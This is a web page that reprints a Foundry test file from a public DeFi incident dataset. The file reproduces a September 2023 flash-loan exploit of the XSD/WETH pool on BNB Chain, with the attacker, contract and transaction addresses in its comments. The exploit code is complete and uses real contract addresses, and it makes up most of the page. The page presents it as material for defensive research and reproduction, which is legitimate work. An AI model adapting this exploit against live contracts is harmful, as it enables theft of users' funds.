Skip to content
THREATWIRE

Public reproduction file

src/test/2023-09/XSDWETHpool_exp.sol

Public reproduction file for dataset entry XSDWETHpool.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-09/XSDWETHpool_exp.sol122 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~ 56.9 BNB
8// Attacker : https://bscscan.com/address/0x506eebd8d6061202a8e8fc600bb3d5d41f475ee1
9// Attack Contract : https://bscscan.com/address/0x202e059a16d29a2f6ae0307ae3d574746b2b6305
10// Vulnerable Contract : https://bscscan.com/address/0xfadda925e10d07430f5d7461689fd90d3d81bb48
11// Attack Tx : https://bscscan.com/tx/0xbdf76f22c41fe212f07e24ca7266d436ef4517dc1395077fabf8125ebe304442
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xfadda925e10d07430f5d7461689fd90d3d81bb48#code
16// @Analysis
17// Twitter Guy : https://twitter.com/CertiKAlert/status/1706765042916450781
18// invoke function burnpoolXSD() after executing TransferHelper.safeTransferETH();
20interface IXSD is IERC20 {
21 function burnpoolXSD(
22 uint256 _xsdamount
23 ) external;
26interface IXSDRouter {
27 function swapXSDForETH(uint256 amountOut, uint256 amountInMax) external;
28 function swapETHForBankX(
29 uint256 amountOut
30 ) external payable;
33interface IXSDWETHpool {
34 function PERMIT_TYPEHASH() external pure returns (bytes32);
35 function nonces(
36 address owner
37 ) external view returns (uint256);
38 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
39 function price0CumulativeLast() external view returns (uint256);
40 function price1CumulativeLast() external view returns (uint256);
41 function kLast() external view returns (uint256);
42 function collatDollarBalance() external returns (uint256);
43 function swap(uint256 amount0Out, uint256 amount1Out, address to) external;
44 function skim(
45 address to
46 ) external;
47 function sync() external;
50interface IPIDController {
51 function systemCalculations() external;
54interface IDPPAdvanced {
55 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
58contract ContractTest is Test {
59 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
60 IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
61 IDPPAdvanced DPPAdvance = IDPPAdvanced(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
62 IXSD XSD = IXSD(0x39400E67820c88A9D67F4F9c1fbf86f3D688e9F6);
63 IXSDRouter Router = IXSDRouter(0xfADDa925e10d07430f5d7461689fd90d3D81bB48);
64 IXSDWETHpool XSDWETHpool = IXSDWETHpool(0xbfBcB8BDE20cc6886877DD551b337833F3e0d96d);
65 IPIDController PIDController = IPIDController(0x82a6405B9C38Eb1d012c7B06642dcb3D7792981B);
67 uint256 baseAmount = 3_000_000_000_000_000_000_000;
68 uint256 moreAmount = 1_000_000_000_000_000_000_000;
69 uint256 attackAmount = 3_800_000_000_000_000_000_000;
70 uint256 swapAmount = 263_932_735_529_288_914_857_295;
71 uint256 exploitAmount = 56_964_339_410_199_718_035;
73 function setUp() public {
74 vm.createSelectFork("bsc", 32_086_901 - 1);
75 vm.label(address(WBNB), "WBNB");
76 vm.label(address(DPPOracle), "DPPOracle");
77 vm.label(address(DPPAdvance), "DPPAdvance");
78 vm.label(address(XSD), "XSD");
79 vm.label(address(Router), "Router");
80 vm.label(address(XSDWETHpool), "XSDWETHpool");
81 vm.label(address(PIDController), "PIDController");
82 deal(address(XSD), address(this), 39_566_238_265_722_260_955_438);
83 approveAll();
84 }
86 function testExploit() external {
87 uint256 startBNB = WBNB.balanceOf(address(this));
88 console.log("Before Start: %d BNB", startBNB);
90 DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encode(baseAmount));
92 uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether;
93 uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18;
94 console.log("Attack Exploit: %s.%s BNB", intRes, decRes);
95 }
97 function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external {
98 if (abi.decode(data, (uint256)) == baseAmount) {
99 DPPAdvance.flashLoan(moreAmount, 0, address(this), abi.encode(moreAmount));
100 WBNB.transfer(address(DPPOracle), baseAmount);
101 } else {
102 uint256 amountOut = 9_840_000_000_000_000_000;
103 Router.swapXSDForETH(amountOut, XSD.balanceOf(address(this)));
104 XSD.transfer(address(XSDWETHpool), swapAmount);
105 XSDWETHpool.swap(0, attackAmount + exploitAmount, address(this));
106 WBNB.transfer(address(DPPAdvance), moreAmount);
107 }
108 }
110 fallback() external payable {
111 WBNB.transfer(address(XSDWETHpool), attackAmount);
112 XSDWETHpool.swap(swapAmount, 0, address(this));
113 PIDController.systemCalculations();
114 Router.swapETHForBankX{value: 1_000_000_000_000}(100);
115 }
117 function approveAll() internal {
118 WBNB.approve(0x224E13D9eAB11eDc09411ef4bF800791a7EF6135, type(uint256).max);
119 WBNB.approve(address(Router), type(uint256).max);
120 XSD.approve(address(Router), type(uint256).max);
121 }

Analysis

Dataset entry

Public Foundry test for “XSDWETHpool” (2023-09-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x506eebd8d6061202a8e8fc600bb3d5d41f475ee1

  • Attack Contract

    0x202e059a16d29a2f6ae0307ae3d574746b2b6305

  • Vulnerable Contract

    0xfadda925e10d07430f5d7461689fd90d3d81bb48

  • Attack Tx

    0xbdf76f22c41fe212f07e24ca7266d436ef4517dc1395077fabf8125ebe304442

File record

Name
XSDWETHpool
Path
src/test/2023-09/XSDWETHpool_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
149626fab225ec91033bfa7783d6501bf9d0bb82
Language
Solidity
Size
123 lines
Date
2023-09-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-09/XSDWETHpool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 149626fab225ec91033bfa7783d6501bf9d0bb82, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.